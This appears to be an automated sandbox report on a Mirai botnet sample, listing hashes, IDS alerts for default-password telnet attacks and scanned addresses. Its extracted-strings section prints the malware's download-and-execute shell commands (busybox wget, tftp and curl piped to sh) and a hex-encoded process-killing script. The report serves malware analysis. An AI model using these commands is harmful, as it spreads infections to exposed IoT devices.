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Linux Analysis Report
JtRzcZTu3S.elf

Overview

General Information

Sample Name:	JtRzcZTu3S.elf
Original Sample Name:	2b899c6e7a51bdcec7217fc188cfc3aa.elf
Analysis ID:	1336397
MD5:	2b899c6e7a51bdcec7217fc188cfc3aa
SHA1:	5d0dd2a8a891d86063220016f0f1a5065ee24df8
SHA256:	1f16218c07b8a92576430353007a28215333d03750150c08d5a6cf23a0dfb7e8
Tags:	32elfmirairenesas
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Sample deletes itself

Uses known network protocols on non-standard ports

Connects to many ports of the same IP (likely port scanning)

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Found strings indicative of a multi-platform dropper

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Executes the "rm" command used to delete files or directories

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1336397
Start date and time:	2023-11-03 05:09:08 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	JtRzcZTu3S.elf renamed because original name is a hash value
Original Sample Name:	2b899c6e7a51bdcec7217fc188cfc3aa.elf
Detection:	MAL
Classification:	mal76.troj.evad.linELF@0/344@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/JtRzcZTu3S.elf
PID:	6201
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

JtRzcZTu3S.elf (PID: 6201, Parent: 6116, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/JtRzcZTu3S.elf

JtRzcZTu3S.elf New Fork (PID: 6203, Parent: 6201)

JtRzcZTu3S.elf New Fork (PID: 6205, Parent: 6203)

JtRzcZTu3S.elf New Fork (PID: 6208, Parent: 6203)

JtRzcZTu3S.elf New Fork (PID: 6209, Parent: 6203)

dash New Fork (PID: 6244, Parent: 4332)

rm (PID: 6244, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.6lcugh6zw0 /tmp/tmp.Q3AhIrITuq /tmp/tmp.eDaHwf1w7G

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Snort Signatures

ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound - Source IP: 192.168.2.23 - Destination IP: 83.97.148.167

Timestamp:	192.168.2.2383.97.148.16739232232027973 11/03/23-05:10:06.818116
SID:	2027973
Source Port:	39232
Destination Port:	23
Protocol:	TCP
Classtype:	Attempt to login by a default username and password

ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound - Source IP: 192.168.2.23 - Destination IP: 200.68.43.41

Timestamp:	192.168.2.23200.68.43.4143214232027973 11/03/23-05:11:22.819047
SID:	2027973
Source Port:	43214
Destination Port:	23
Protocol:	TCP
Classtype:	Attempt to login by a default username and password

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname TBOT/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: JtRzcZTu3S.elf	ReversingLabs: Detection: 36%
Source: JtRzcZTu3S.elf	Virustotal: Detection: 45%			Perma Link

Source: Traffic	Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.23:39232 -> 83.97.148.167:23
Source: Traffic	Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.23:43214 -> 200.68.43.41:23

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35532
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35532 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 130.49.246.149
Source: unknown	TCP traffic detected without corresponding DNS query: 213.145.161.40
Source: unknown	TCP traffic detected without corresponding DNS query: 62.63.120.57
Source: unknown	TCP traffic detected without corresponding DNS query: 101.45.172.161
Source: unknown	TCP traffic detected without corresponding DNS query: 20.8.152.234
Source: unknown	TCP traffic detected without corresponding DNS query: 147.48.114.65
Source: unknown	TCP traffic detected without corresponding DNS query: 194.123.177.68
Source: unknown	TCP traffic detected without corresponding DNS query: 27.148.108.52
Source: unknown	TCP traffic detected without corresponding DNS query: 220.227.44.110
Source: unknown	TCP traffic detected without corresponding DNS query: 78.116.100.182
Source: unknown	TCP traffic detected without corresponding DNS query: 94.93.218.188
Source: unknown	TCP traffic detected without corresponding DNS query: 28.17.82.147
Source: unknown	TCP traffic detected without corresponding DNS query: 70.52.168.231
Source: unknown	TCP traffic detected without corresponding DNS query: 123.28.96.60
Source: unknown	TCP traffic detected without corresponding DNS query: 102.90.237.53
Source: unknown	TCP traffic detected without corresponding DNS query: 19.71.241.149
Source: unknown	TCP traffic detected without corresponding DNS query: 1.182.55.127
Source: unknown	TCP traffic detected without corresponding DNS query: 79.206.225.61
Source: unknown	TCP traffic detected without corresponding DNS query: 18.113.234.225
Source: unknown	TCP traffic detected without corresponding DNS query: 150.233.114.143
Source: unknown	TCP traffic detected without corresponding DNS query: 170.139.218.44
Source: unknown	TCP traffic detected without corresponding DNS query: 104.119.248.252
Source: unknown	TCP traffic detected without corresponding DNS query: 16.94.114.1
Source: unknown	TCP traffic detected without corresponding DNS query: 211.219.69.228
Source: unknown	TCP traffic detected without corresponding DNS query: 195.167.8.125
Source: unknown	TCP traffic detected without corresponding DNS query: 149.136.55.187
Source: unknown	TCP traffic detected without corresponding DNS query: 172.14.226.216
Source: unknown	TCP traffic detected without corresponding DNS query: 183.117.175.248
Source: unknown	TCP traffic detected without corresponding DNS query: 24.111.93.141
Source: unknown	TCP traffic detected without corresponding DNS query: 155.150.196.22
Source: unknown	TCP traffic detected without corresponding DNS query: 39.101.107.77
Source: unknown	TCP traffic detected without corresponding DNS query: 181.152.195.80
Source: unknown	TCP traffic detected without corresponding DNS query: 77.57.152.166
Source: unknown	TCP traffic detected without corresponding DNS query: 176.184.187.225
Source: unknown	TCP traffic detected without corresponding DNS query: 66.170.40.76
Source: unknown	TCP traffic detected without corresponding DNS query: 175.107.135.183
Source: unknown	TCP traffic detected without corresponding DNS query: 62.81.225.35
Source: unknown	TCP traffic detected without corresponding DNS query: 168.51.14.218
Source: unknown	TCP traffic detected without corresponding DNS query: 215.205.254.204
Source: unknown	TCP traffic detected without corresponding DNS query: 84.228.63.78
Source: unknown	TCP traffic detected without corresponding DNS query: 97.105.38.181
Source: unknown	TCP traffic detected without corresponding DNS query: 101.27.137.161
Source: unknown	TCP traffic detected without corresponding DNS query: 89.61.19.16
Source: unknown	TCP traffic detected without corresponding DNS query: 22.22.158.252
Source: unknown	TCP traffic detected without corresponding DNS query: 138.207.184.143
Source: unknown	TCP traffic detected without corresponding DNS query: 91.160.63.216
Source: unknown	TCP traffic detected without corresponding DNS query: 201.160.178.63
Source: unknown	TCP traffic detected without corresponding DNS query: 81.43.56.237
Source: unknown	TCP traffic detected without corresponding DNS query: 38.226.209.126

Source: JtRzcZTu3S.elf	String found in binary or memory: http:///curl.sh
Source: JtRzcZTu3S.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname TBOT
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./.shell selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname TBOT/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./.shell selfrepchinese family/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm7mipsmpslsh4

Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6230/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6230/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6230/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6230/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6232/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6232/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6231/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6231/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6212/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6212/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6212/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6212/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6233/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6233/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6235/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6235/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6227/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6227/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6226/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6226/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6229/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6229/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6228/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6228/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/JtRzcZTu3S.elf (PID: 6208)	File opened: /proc/6262/cmdline	Jump to behavior

Source: JtRzcZTu3S.elf, 6201.1.00007ffc4c7dc000.00007ffc4c7fd000.rw-.sdmp, JtRzcZTu3S.elf, 6205.1.00007ffc4c7dc000.00007ffc4c7fd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/JtRzcZTu3S.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/JtRzcZTu3S.elf
Source: JtRzcZTu3S.elf, 6201.1.00007ffc4c7dc000.00007ffc4c7fd000.rw-.sdmp, JtRzcZTu3S.elf, 6205.1.00007ffc4c7dc000.00007ffc4c7fd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: JtRzcZTu3S.elf, 6201.1.000055e151d7f000.000055e151de2000.rw-.sdmp, JtRzcZTu3S.elf, 6205.1.000055e151d7f000.000055e151de2000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: JtRzcZTu3S.elf, 6201.1.000055e151d7f000.000055e151de2000.rw-.sdmp, JtRzcZTu3S.elf, 6205.1.000055e151d7f000.000055e151de2000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Label	Link
JtRzcZTu3S.elf	37%	ReversingLabs	Linux.Trojan.Mirai
JtRzcZTu3S.elf	45%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
198.158.163.102	unknown	United States	18676	AVAYAUS	false
40.140.124.193	unknown	United States	7029	WINDSTREAMUS	false
133.172.26.195	unknown	Japan	385	AFCONC-BLOCK1-ASUS	false
65.187.157.108	unknown	United States	11426	TWC-11426-CAROLINASUS	false
126.26.48.39	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
133.247.228.120	unknown	Japan	4675	U-NETSURFUNIADEXLTDJP	false
200.46.97.44	unknown	Panama	21599	CableOndaPA	false
94.15.172.63	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
140.39.151.252	unknown	United States	668	DNIC-AS-00668US	false
51.228.224.171	unknown	United States	2686	ATGS-MMD-ASUS	false
155.255.243.176	unknown	unknown	394387	VUUUS	false
19.94.4.119	unknown	United States	3	MIT-GATEWAYSUS	false
125.179.100.87	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
34.190.21.47	unknown	United States	2686	ATGS-MMD-ASUS	false
211.230.109.220	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
95.76.61.99	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
86.79.131.48	unknown	France	15557	LDCOMNETFR	false
73.53.44.174	unknown	United States	7922	COMCAST-7922US	false
90.204.45.249	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
153.151.104.38	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
223.124.158.191	unknown	China	58453	CMI-INT-HKLevel30Tower1HK	false
91.167.38.251	unknown	France	12322	PROXADFR	false
2.170.65.49	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
19.117.204.16	unknown	United States	3	MIT-GATEWAYSUS	false
19.176.83.223	unknown	United States	3	MIT-GATEWAYSUS	false
206.38.158.190	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
143.17.161.204	unknown	United States	11003	PANDGUS	false
26.189.243.115	unknown	United States	7922	COMCAST-7922US	false
209.70.135.18	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
192.102.98.16	unknown	United States	12582	TSF-DATANET-NGD-ASTeliaFinlandMPLSVPNServicesFI	false
15.139.101.171	unknown	United States	5073	HPESUS	false
222.111.58.164	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
151.46.60.94	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
77.71.211.150	unknown	Malta	12709	MELITACABLEMT	false
148.179.54.81	unknown	United States	11719	EATON-CORPORATIONUS	false
221.91.53.185	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
40.203.115.39	unknown	United States	4249	LILLY-ASUS	false
75.10.61.58	unknown	United States	7018	ATT-INTERNET4US	false
145.40.239.33	unknown	Netherlands	8758	IWAYCH	false
52.37.100.29	unknown	United States	16509	AMAZON-02US	false
86.1.210.52	unknown	United Kingdom	5089	NTLGB	false
28.195.66.177	unknown	United States	7922	COMCAST-7922US	false
192.26.218.37	unknown	Australia	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
109.116.112.134	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
47.207.20.120	unknown	United States	5650	FRONTIER-FRTRUS	false
3.177.104.12	unknown	United States	16509	AMAZON-02US	false
170.18.245.216	unknown	Chile	16780	BancoSantanderSantiagoCL	false
202.99.131.40	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
39.149.36.195	unknown	China	24445	CMNET-V4HENAN-AS-APHenanMobileCommunicationsCoLtdCN	false
